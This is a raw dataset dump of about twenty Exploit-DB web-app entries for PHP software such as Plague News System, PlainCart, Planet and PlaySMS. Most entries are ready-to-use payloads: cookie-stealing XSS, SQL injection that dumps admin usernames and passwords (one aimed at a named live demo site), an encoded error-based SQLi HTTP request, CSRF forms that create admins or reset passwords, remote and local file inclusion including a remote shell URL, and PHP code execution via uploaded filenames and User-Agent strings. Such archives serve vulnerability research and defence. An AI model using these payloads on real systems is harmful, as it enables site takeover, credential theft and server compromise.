deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25935
Description: Plague News System 0.7 - 'CID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-04
Author: Easyex

Exploit:
source: https://www.securityfocus.com/bid/14137/info

Plague News System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'index.php' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?cid=<script>alert(document.cookie)</script>
Exploit-DB #25934
Description: Plague News System 0.7 - 'CID' SQL Injection
Type: webapps
Platform: php
Date: 2005-07-04
Author: Easyex

Exploit:
source: https://www.securityfocus.com/bid/14136/info

Plague News System is prone to an SQL injection vulnerability. As a result, the attacker may modify the structure and logic of an SQL query that is made by the application.

Other attacks may be possible depending on the capabilities of the underlying database and the nature of the affected query. 

http://www.example.com/index.php?cid=[SQL Command]
Exploit-DB #25937
Description: Plague News System 0.7 - 'delete.php' Access Restriction Bypass
Type: webapps
Platform: php
Date: 2005-07-04
Author: Easyex

Exploit:
source: https://www.securityfocus.com/bid/14139/info

Plague News System is prone to an access restriction bypass vulnerability. The issue exists due to a lack of sanity checks performed by 'delete.php' on deletion requests passed to the script.

A remote attacker may exploit this issue to delete site content and deny service for legitimate users. 

http://www.example.com/delete.php?comment=1&id=[ID of comment here]
http://www.example.com/delete.php?news=1&id=[ID of news here]
http://www.example.com/delete.php?shout=1&id=[ID of shout here]
Exploit-DB #6503
Description: Plaincart 1.1.2 - 'p' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-20
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE-DON-Outlawz        #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  PlainCart (index.php) SQL Inj
#
# Script Download: http://www.phpwebcommerce.com/shopping-cart-source-code.php
# 
#
###########################################################
#
# d0rk: n/a
#
###########################################################
 
     POC 1:- 

         http://www.site.com/[script]/index.php?c=16&p=-3+UNION+SELECT+user_name,user_password,3,4,5+from+tbl_user--
	
     
     
     
     Live Demo: 
	
	http://www.phpwebcommerce.com/plaincart/index.php?c=16&p=-3+UNION+SELECT+user_name,user_password,3,4,5+from+tbl_user--

 
    Admin panel: www.site.com/plaincart/admin/login.php
 
###########################################################
#
#  Bug discovered : 20 Sep.2008
###########################################################

# milw0rm.com [2008-09-20]
Exploit-DB #13904
Description: Planet 1.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-06-17
Author: G0D-F4Th3r

Exploit:
# Exploit Title: Planet 1.1 - [CSRF] Add Admin Account
# Date: 17-06-2010
# Author: G0D-F4Th3r
# Software Link: http://php.femtolayer.com/planet1_1/
# Version: 1.1
# Tested on: http://php.femtolayer.com/planet1_1/

##################################################################################
<html>
<body onload="javascript:fireForms()">

<form method="POST" name="form0"
action="http://www.site.com/[path]<http://www.site.com/%5Bpath%5D/admincp/staff.php?do=edit&id=1&go=update>
/cp/security.php?do=admins">
<input type="hidden" name="username" value="fuck"/>
<input type="hidden" name="password" value="fuckpass123"/>
<input type="hidden" name="pp" value=""/>
<input type="hidden" name="email" value="fuck@mail.com"/>
<input type="hidden" name="mobile" value="[PII_REDACTED]55"/>
<input type="hidden" name="site" value="http://www.femtolayer.com"/>
<input type="hidden" name="location" value="US"/>
<input type="hidden" name="access" value="1"/>
</form>
</body>
</html>
###########################################################################
##############
Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My
Friends
##################################################################################
#######
Exploit-DB #33219
Description: Planet 2.0 - HTML Injection
Type: webapps
Platform: php
Date: 2009-09-11
Author: Steve Kemp

Exploit:
source: https://www.securityfocus.com/bid/36392/info

Planet is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user.

Planet 2.0 is affected; other versions may also be vulnerable.

The following example code is available:

<img src="javascript:alert(1);" >
Exploit-DB #33993
Description: Planet Script 1.x - 'idomains.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-14
Author: Mr.ThieF

Exploit:
source: https://www.securityfocus.com/bid/40203/info

Planet Script is prone to a cross-site scripting vulnerability because the it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Planet Script 1.3 and prior are vulnerable. 

http://www.example.com/idomains.php?do=encode&decoded=&ext=[ Xss ]
Exploit-DB #27784
Description: PlanetGallery - 'Gallery_admin.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2006-04-29
Author: tugr@

Exploit:
source: https://www.securityfocus.com/bid/17753/info

PlanetGallery is prone to an authentication-bypass vulnerability. The issue occurs because the affected script fails to prompt for authentication credentials. 

An attacker can exploit this issue to bypass authentication and gain admin access. This could aid in further attacks on the affected computer.

http://www.example.com/planetgallery/admin/gallery_admin.php
Exploit-DB #27644
Description: PlanetSearch + - 'Planetsearchplus.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-13
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17527/info

PlanetSearch + is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/planetsearchplus.php?search_exp=[XSS]
Exploit-DB #29634
Description: Plantilla - 'list_main_pages.php?nfolder' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2007-02-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22669/info

Simple Plantilla PHP is prone to multiple input-validation issues, including a local file-include vulnerability and an arbitrary file-upload vulnerability.

Attackers can exploit the local file-include vulnerability using directory-traversal strings to execute local script code in the context of the application. Attackers can exploit the arbitrary file-upload to execute malicious PHP code in the context of the webserver process.

Exploiting these issues may allow attackers to compromise the application and the underlying system or to access sensitive information; other attacks are also possible. 

http://www.example.com/zadminxx/list_main_pages.php?nfolder=/etc/
Exploit-DB #45803
Description: PlayJoom 0.10.1 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-07
Author: Ihsan Sencan

Exploit:
# Exploit Title: PlayJoom 0.10.1 - 'catid' SQL Injection
# Dork: N/A
# Date: 2018-11-07
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://playjoom.telgo.info/
# Software Link: https://ayera.dl.sourceforge.net/project/playjoom/0.10.1/playjoom-0.10.1-install_package.zip
# Version: 0.10.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?option=com_playjoom&view=genre&catid=[SQL]
# 
GET /[PATH]/index.php?option=com_playjoom&view=genre&catid=%32%20%41%4e%44%20%28%53%45%4c%45%43%54%20%31%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:[PII_REDACTED]41e76e6aadad3ee54838ec=en-GB; PHPSESSID=macg4h63q378u11758a1pslek7; 7464bee77ffeb893cc3113afbb45f7b3=g63a0tdt8boftnmbbj2pgbt6t1;[PII_REDACTED]41e76e6aadad3ee54838ec=en-GB
Connection: keep-alive
HTTP/1.1 303 See other
Date: Tue, 06 Nov 2018 23:55:30 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Location: /[PATH]
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Exploit-DB #26871
Description: PlaySms 0.8 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: mohajali2k4

Exploit:
source: https://www.securityfocus.com/bid/15928/info

PlaySmS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks

http://www.example.com/playsms/index.php?err=XSShere
Exploit-DB #7687
Description: PlaySms 0.9.3 - Multiple Local/Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-01-06
Author: ahmadbady

Exploit:
                                                              ==:RFI/LFI:==


=====================
script:playsms 0.9.3

==========================================================================
download from:http://downloads.sourceforge.net/playsms/playsms-0.9.3.tar.gz?modtime=[PII_REDACTED]&big_mirror=0
   
==========================================================================
vul1: /plugin/gateway/gnokii/init.php lin 2 , 3;

2 include "$apps_path[plug]/gateway/$gateway_module/config.php";
3 include "$apps_path[plug]/gateway/$gateway_module/fn.php";

==========================================================================
vul2: /plugin/themes/default/init.php lin 2 , 3;

2 include $apps_path[themes]."/".$themes_module."/config.php";
3 include $apps_path[themes]."/".$themes_module."/fn.php";

==========================================================================
vul3: /lib/function.php lin 4 and...

lin4 include "$apps_path[libs]/fn_auth.php";

==========================================================================

xpl:
http://127.0.0.1/path/plugin/gateway/gnokii/init.php?apps_path[plug]=[Rfi]?
http://127.0.0.1/path/plugin/gateway/gnokii/init.php?gateway_module=[Lfi]

http://127.0.0.1/path/plugin/themes/default/init.php?apps_path[themes]=[Rfi]?
http://127.0.0.1/path/plugin/themes/default/init.php?themes_module=[Lfi]

http://127.0.0.1/path/lib/function.php?apps_path[libs]=[Rfi]?
==========================================================================
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]
---------------------------------------------------

# milw0rm.com [2009-01-06]
Exploit-DB #17792
Description: PlaySms 0.9.5.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-06
Author: NoGe

Exploit:
=============================================================================================================
 
  [o] PlaySMS <= Remote File Inclusion Vulnerability
  
       Software : PlaySMS ver 0.9.5.2
       Vendor   : http://playsms.org/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/

=============================================================================================================

  [o] Vulnerability

       <?php include $apps_path['themes']."/".$themes_module."/header.php"; ?>

       affected all this files

       web/plugin/themes/default/page_forgot.php
       web/plugin/themes/default/page_login.php
       web/plugin/themes/default/page_noaccess.php
       web/plugin/themes/default/page_register.php
       web/plugin/themes/km2/page_noaccess.php
       web/plugin/themes/work2/page_forgot.php
       web/plugin/themes/work2/page_login.php
       web/plugin/themes/work2/page_noaccess.php
       web/plugin/themes/work2/page_register.php


  [o] Exploit

       http://localhost/[path]/web/plugin/themes/default/page_forgot.php?apps_path[themes]=[RFI]


  [o] PoC

       http://localhost/[path]/web/plugin/themes/default/page_forgot.php?apps_path[themes]=http://phpshell?

=============================================================================================================

  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe kaka11 matthews wishnusakti inc0mp13te martfella
       pizzyroot Genex H312Y noname tukulesto }^-^{

=============================================================================================================

  [o] September 05 2011 - Papua, Indonesia
Exploit-DB #30177
Description: PlaySms 0.9.9.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-12-10
Author: Saadi Siddiqui

Exploit:
# Exploit Title  : PlaySMS <= 0.9.9.2 CSRF
# Date           : 2013/12/9
# Exploit Author : Saadat Ullah ， saadi_linux@rocketmail.com
# Software Link  : http://playsms.org/
# Author HomePage: http://security-geeks.blogspot.com/
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

# Cross-site request forgery

Playsms is an open source SMS managment system , suffers from Cross-site request forgery through which attacker can manipulate user data via sending him malicious craft url.

Playsms is not using any security token to prevent it against CSRF.You can manipulate any userdata.
PoC and Exploit to change user password:

<html>
 <body onload="javascript:document.forms[0].submit()">
<form  name="ex"action="http://localhost/playsms/web/index.php?app=menu&inc=user_pref&op=user_pref_save" method=post enctype="multipart/form-data">

		
			<input type=hidden size=30 maxlength=30 name=up_password value="admin">
		
			<input type=hidden size=30 maxlength=30 name=up_password_conf value="admin">
		
			<input type=hidden size=30 maxlength=100 name=up_name value="admin">
		
	
			<input type=hidden size=30 maxlength=30 name=up_email value="admin@gmail.com">



			<td><input type=hidden size=30 maxlength=250 name=up_address value=""></td>
	
			<td><input type=hidden size=30 maxlength=100 name=up_city value=""></td>

			<td><input type=hidden size=30 maxlength=100 name=up_state value=""></td>
		
			
			<td><input type=hidden size=10 maxlength=10 name=up_zipcode value=""></td>
	

<input type=submit class=button value='Save'> 
</form>
</html>

#Independent Pakistani Security Researcher
Exploit-DB #42003
Description: PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload
Type: webapps
Platform: php
Date: 2017-05-14
Author: Touhid M.Shaikh

Exploit:
# Exploit Title: PlaySMS 1.4 Code Execution using $filename and Unrestricted File Upload in sendfromfile.php
# Date: 14-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
 
1. Description
   
Unrestricted File Upload: 
	Any registered user can upload any file because of not proper Validation of file in sendfromfile.php

Code Execution using $filename 
	Now We know sendfromfile.php accept any file extension and just read content not stored in server. But there is bug when user upload example: mybackdoor.php server accept happily  but not store in any folder so our shell is useless. But if User change the file name to "mybackdoor.php" to "<?php system('uname -a'); dia();?>.php"  den server check for file and set some perameter $filename="<?php system('uname -a'); dia();?>.php" , U can see code below and display $filename on page.

 For More Details : www.touhidshaikh.com/blog/
   
2. Proof of Concept
 
Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

Go to : http://127.0.0.1/playsms/index.php?app=main&inc=feature_sendfromfile&op=list
 

 This is Form.
----------------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_sendfromfile&op=upload_confirm\" enctype=\"multipart/form-data\" method=\"post\">
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file') . "</p>
<p><input type=\"file\" name=\"fncsv\"></p>
<p class=help-block>" . _('CSV file format') . " : " . $info_format . "</p>
<p><input type=checkbox name=fncsv_dup value=1 checked> " . _('Prevent duplicates') . "</p>
<p><input type=\"submit\" value=\"" . _('Upload file') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------


-------------PHP code for set parameter ---------------------------

	case 'upload_confirm':
		$filename = $_FILES['fncsv']['name'];

------------------------------php code ends ---------------------------


$filename will be visible on page:
----------------------Vulnerable perameter show ----------------------

line 123 : $content .= _('Uploaded file') . ': ' . $filename . '<p />';

----------------------------------------------------------------------
Exploit-DB #42038
Description: PlaySMS 1.4 - Remote Code Execution
Type: webapps
Platform: php
Date: 2017-05-19
Author: Touhid M.Shaikh

Exploit:
 Exploit Title: PlaySMS 1.4 Remote Code Execution (to Poisoning admin log)
# Date: 19-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
 
1. Description
   

Remote Code Execution in Admin Log. 
In PlaySMS Admin have a panel where he/she monitor User status. Admin Can see Whose Online.
Using this functionality we can exploit RCE in Whose Online page.

When Any user Logged in the playSMS application. Some user details log on Whose Online panel like "Username", "User-Agent", "Current IP", etc. (You Can See Templeate Example Below)    

For More Details : www.touhidshaikh.com/blog/

   
2. Proof of Concept
 
1) Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

2) Just Change you User-agent String to "<?php phpinfo();?>" or whatever your php payload.(Make sure to change User Agent after log in)

3) Just surf on playsms. And wait for admin activity, When admin Checks Whose Online status ...(bingooo Your payload successfully exploited )



setting parameter in online.php
*------------------online.php-----------------*

$users = report_whoseonline_subuser();
foreach ($users as $user) {
foreach ($user as $hash) {
$tpl['loops']['data'][] = array(
'tr_class' => $tr_class,
'c_username' => $hash['username'],
'c_isadmin' => $hash['icon_isadmin'],
'last_update' => $hash['last_update'],
'current_ip' => $hash['ip'],
'user_agent' => $hash['http_user_agent'],
'login_status' => $hash['login_status'],
'action' => $hash['action_link'],
);
}
}
*-------------ends here online.php-----------------*




Visible on this page: report_online.html
*------------report_online.html-----------*
<loop.data>
<tr class={{ data.tr_class }}>
<td>{{ data.c_username }} {{ data.c_isadmin }}</td>
<td>{{ data.login_status }} {{ data.last_update }}</td>
<td>{{ data.current_ip }}</td>
<td>{{ data.user_agent }}</td>
<td>{{ data.action }}</td>
</tr>
</loop.data>
*------------Ends here report_online.html-----------*


 
 


*------------------Greetz----------------- -----*
|Pratik K.Tejani, Rehman, Taushif  |
*---------------------------------------------------*

  _____           _     _     _ 
 |_   _|__  _   _| |__ (_) __| |
   | |/ _ \| | | | '_ \| |/ _` |
   | | (_) | |_| | | | | | (_| |
   |_|\___/ \__,_|_| |_|_|\__,_|
                                
Touhid SHaikh
An Independent Security Researcher.